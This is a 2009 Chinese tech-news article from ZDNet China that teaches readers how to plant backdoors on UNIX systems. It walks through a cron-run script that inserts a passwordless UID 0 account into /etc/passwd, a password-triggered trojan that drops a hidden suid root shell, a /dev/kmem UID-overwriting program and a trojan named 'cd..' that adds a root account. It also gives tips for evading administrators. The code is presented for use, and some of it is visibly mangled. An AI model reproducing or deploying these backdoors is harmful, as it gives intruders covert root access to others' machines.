教你如何创建UNIX后门(高级篇)

ZDNet软件频道 时间:2009-11-04 作者: | CCW 我要评论()
本文关键词:系统安全 Unix Windows
最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。

  Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

  (1) (2) (3) (4) (5) (6)

  0 0 * * 3 /usr/bin/updatedb

  1. 分钟 (0-60)

  2. 小时 (0-23)

  3. 日 (1-31)

  4. 月 (1-12)

  5. 星期 (1-7)

  6. 所要运行的程序

  以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:

  0 0 * * * /usr/bin/retract

  <++> backdoor/backdoor.sh

  #!/bin/csh

  set evilflag = (`grep eviluser /etc/passwd`)

  if($#evilflag == 0) then

  set linecount = `wc -l /etc/passwd`

  cd

  cp /etc/passwd ./temppass

  @ linecount[1] /= 2

  @ linecount[1] += 1

  split -$linecount[1] ./temppass

  echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa

  cat ./xab >> ./xaa

  mv ./xaa /etc/passwd

  chmod 644 /etc/passwd

  rm ./xa* ./temppass

  echo Done...

  else

  endif

  <-->

  [综合]

  当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:

  <++> backdoor/backdoor3.c

  #include

  #define pass "triad"

  #define BUFFERSIZE 6

  int main(argc, argv)

  int argc;

  char *argv[];{

  int i=0;

  if(argv[1]){

  if(!(strcmp(pass,argv[1]))){

  system("cp /bin/csh /bin/.swp121");

  system("chmod 4755 /bin/.swp121");

  system("chown root /bin/.swp121");

  system("chmod 4755 /bin/.swp121");

  }

  }

  printf("372f: Invalid control argument, unable to initialize. Retrying");

  for(;i<10;i++){

  fprintf(stderr,".");

  sleep(1);

  }

  printf(" Action aborted after 10 attempts. ");

  return(0);

  }

  <-->

  [变种]

  以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。

  <++> backdoor/kmemthief.c

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #define pass "triad"

  struct user userpage;

  long address(), userlocation;

  int main(argc, argv, envp)

  int argc;

  char *argv[], *envp[];{

  int count, fd;

  long where, lseek();

  if(argv[1]){

  if(!(strcmp(pass,argv[1]))){

  fd=(open("/dev/kmem",O_RDWR);

  if(fd<0){

  printf("Cannot read or write to

  /dev/kmem ");

  perror(argv);

  exit(10);

  }

  userlocation=address();

  where=(lseek(fd,userlocation,0);

  if(where!=userlocation){

  printf("Cannot seek to user page ");

  perror(argv);

  exit(20);

  }

  count=read(fd,&userpage,sizeof(struct user));

  if(count!=sizeof(struct user)){

  printf("Cannot read user page ");

  perror(argv);

  exit(30);

  }

  printf("Current UID: %d ",userpage.u_ruid);

  printf("Current GID: %d ",userpage.g_ruid);

  userpage.u_ruid=0;

  userpage.u_rgid=0;

  where=lseek(fd,userlocation,0);

  if(where!=userlocation){

  printf("Cannot seek to user page ");

  perror(argv);

  exit(40);

  }

  write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

  execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

  }

  }

  }

  <-->

  [“笨”方法]

  你有没有曾经试过在 Unix 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点“贡献”呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:

  <++> backdoor/dumb.c

  /*

  本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。

  */

  #include

  #include

  main()

  {

  FILE *fd;

  fd=fopen("/etc/passwd","a+");

  fprintf(fd,"hax0r::0:0::/root:/bin/sh ");

  system("cd");

  }

  <-->

用户评论
用户名
评论内容
发表时间
ZDNet网友
2011-03-18 14:57:01
ZDNet网友
2010-05-21 00:49:14
ZDNet网友
2010-05-21 00:48:00
ZDNet网友
微软应该对自己的用户负责,如果用户完全使用xp升级微软win7,为什么要付出这样麻烦的代价?都是微软出品软件,且都是利用该软件获取信息以及处理文字、多媒体功能,微软应该尽可能方便用户!虽然有时候这样的请求也许跟不上时代技术发展的脚步,但是微软不要以此为借口,认为一切都理所应当,就不可以方便用户。还是要尽力,所谓拿人手短吃人嘴软,商业不正是讲求有商道吗!至少做人需诚实守信,尽可能帮助用户顺利、安全转换操作系统、各种必须软件功能尽可能兼容以及信息尽可能的少丢失!虽然这很大程度仅仅取决于微软等计算机专家、工程师的自我自律约束,我们普通用户恐怕很难知道微软究竟仅了多大力量为用户考虑,但是我相信真相会有被发现的一天,无论多久远。 微软从某种意义上来说,就是一个类似“掌握魔方”操作特别出神入化的公司。几乎奠定了电脑主要的“规则”,但是,我却相信不久将来我们会发现,电脑依然是非常有限的一个小系统而已!随着我们新的关键材料认知突破,电脑系统会真正被另一个革命性新电脑系统所取代,不要以为我这样的说法是无稽之谈不可实现,我却认为很有可能,只看这样的情况发生究竟是快还是慢,是早还是迟!变成历史的小玩具之后的电脑系统,微软会留下良好的历史声名吗?我们拭目以待! 网友::我爱佛祖
2010-02-03 13:52:55
- 发表评论 -
匿名
注册用户

百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134